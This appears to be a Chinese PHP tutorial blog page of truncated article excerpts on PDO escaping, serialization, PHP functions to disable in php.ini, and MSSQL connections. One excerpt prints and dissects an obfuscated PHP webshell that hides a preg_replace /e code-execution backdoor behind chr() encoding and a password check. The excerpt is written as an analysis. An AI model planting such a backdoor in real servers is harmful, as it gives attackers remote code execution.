mysql在pdo方式下,mysql_real_escape_string替代方法
向数据库中插入数据,mysql方法是这样的。
$sql = "INSERT INTO users(user_name, user_pass, user_email, user_date, user_level)
VALUES('" . mysql_real_escape_string($_POST['user_name']) . "'
, '" . md5($_POST['user_pass']) . "'
, '" . mysql_real_escape_string($_POST['user_email']) . "'
, time(), 0)";
$result = mysql_query($sql);
这段代码用mysql_real_escape_string对提交的数据进行了转义处理。
用pdo对mysql数据库进行更新操作,假设mysql_real_escape_string函数不可用,我们要怎样对一个字符串进行转义呢,我认为可以这样处理。
<?php
function addsla($str)
{
if(!get_magic_quotes_gpc())
{
$str= addslashes($str);
}
&......
php serialize与unserialize的作用与使用
serialize(序列化)的作用是把数组或者php对象转为字符串。
unserialize(反序列化)的作用相反,是把字符串(经过serialize处理的)转化为数组或者php对象。
举例来说明一下:
<?php
header("Content-Type:text/html;charset=UTF-8");
$citylist=array(
"city"=>"北京",
"address"=>"中关村",
"building"=>"鼎好"
);
$citylistout= serialize($citylist); //把$citylist转化为字符串
echo $citylistout;
echo "<br/><br/><br/>";
$citylistread=unserialize($citylistout);//把字符串转化为数组
var_dump($citylistread);
?>
输出结果如下:
a:3:{s:4:"city";s:6:"北京";s:7:"address";s:9:"中关村";s:8:"building";s:6:"鼎好";}
array(3) { ["city"]=> string(6) "北京" ["address"]=> string(9) "中关村" ["building"]=> string(6) "鼎好" }
mysql数据库中就是用serialize函数把数组转为字符串保存,......
php preg_replace执行一句话木马变形隐藏
无意中得到以下一段代码,就做了一个实例,来对这段代码进行分析研究,木马服务端程序如下:
function getMd5($md5 = null) {
$key = substr(md5($md5),26);
return $key; }
$array = array(
chr(112).chr(97).chr(115).chr(115),
chr(99).chr(104).chr(101).chr(99).chr(107),
chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101)
);
if ( isset($_POST) ) $request = &$_POST;
elseif ( isset($_REQUEST) ) $request = &$_REQUEST;
if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) {
if ( getMd5($request[$array[0]]) == $array[2] ) {
$token = preg_replace (
chr(47) . $array[2] . chr(47) . chr(101),
$request[$array[1]],
$array[2]
);
}
}
其中数据$array打印出来为pass,check,0f883e,作者利用了chr函数把ascii码转化为具体的字符进行代码变形隐藏了真实的代码,有效的防止了木马查杀工具的查杀,这也是黑客惯用的手段之一。
getMd5这个函数的功能是进行了一个简单的身份验证,用以验证客户端输出的密码是否正确。chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101)执行后为0f883e,这是密码123456加密后的后六位字符(程序设置的密码是123456,可以根据需要把chr(48) . chr(102) .chr(56) . chr(56) . chr(51) . chr(101换成别的)。
$token =......
php需要禁用的危险函数
php作为世界上最流行的网站开发语言,与其拥有众多的内建函数,容易入门,方便易用是分不开的。
php的许多建函数除了带给网站强的功能以后,还给网站带来了一系列的安全问题。如eval函数,它能够将作为代码来执行。被别有用心的人利用的话,将对网站造成破坏。除了eval函数,还有许多危险的函数,除了破坏网站,还能威胁系统。如果网站开发都用不到这些函数的话,最好还是把他们禁用。
总结php危险函数有passthru,exec,shell_exec,system,popen,proc_open,chmod,escapeshellcmd,eval,preg_replace,特别是能够直接运行shell的函数,如果没有特别的需求,一定要禁掉,如exec,shell_exec,system,passthru,popen,proc_open。
禁用这些函数的方法就是打开php.ini文件,找到disable_functions=这行,如果前面有;去掉,设置成disable_functions=passthru,exec,shell_exec,system,popen,proc_open,chmod,escapeshellcmd 。
还有一个函数dl,这个函数的功能是动态加载php的库文件.在win系统下动态加载dll文件,在linux系统下加载.so文件,同样对系统构成威胁,建议禁掉,方法是PHP.ini里面enable_dl = off。
经过这样设置后系统应该比较安全了。网站本身的安全性那只能在写代码的时候注意了。
......
php连接mssql数据库的方法
php连接sql server 2000数据库总结以下几种方法。
一、mssql_connect连接方法
连接代码
<?php
$hostname=”ip地址”; //sql server 2000数据库服务器
$username=”user”; //登录的用户名
$password=”pass”; //登录的密码
$dataname=”test”; //要连接的数据库名
ini_set(“mssql.datetimeconvert”,”0″);
$s = mssql_connect($hostname,$username,$password);
$d=@mssql_select_db($dataname,$s) or die(“无法连接到数据库!”);
$result=mssql_query(“select top 10 * from datatable1″,$s); //假设表名为datatable1,查询datatable1表中10行的数据
while($row=mssql_fetch_array($result))
{
var_dump($row);
}
mssql_free_result($result);
mssql_close($s);
?>
二、ado连接方法,适用于windows主机。
连接代码
$conn = new COM(“ADODB.Connection”) or die(“Cannot start ADO”);
$conn->Open(“Provider=SQLOLEDB.1;Password=123456;User ID=sa;Initial Catalog=datename;Data Source=主机名或ip”);
$rs=new COM(“Adodb.RecordSet”);
$rs->Open(“select top 10 * from datat......
近期文章
- 织梦5.7{dede:php}标签不起作用的解决办法
- php版本non-thread-safe和thread-safe的区别
- 什么是fatal flex scanner internal error--end of buffer missed
- php文件命名建议用小写
- php cookie字典
- seft和static在php中有什么不同
- 用php快速获取图片大小
- 用php的json_decode()检测json数据是否合法
- php三个等号
- unset和=null有什么不同
- php如何捕获一个警告信息
- 如何获得php数组中最后一个元素的键名?
- 在PHP中,你如何改变数组中某一元素的键名?
- php多维数组转xml
- php如何转化数组为SimpleXML对象
- php如何把数组定义为常量
- php根据数组中的值删除数组中的元素
- 计算两个日期相差多少天
- 如何捕获var_dump的输出结果保存到一个字符串中?
- 用php获取完整的URL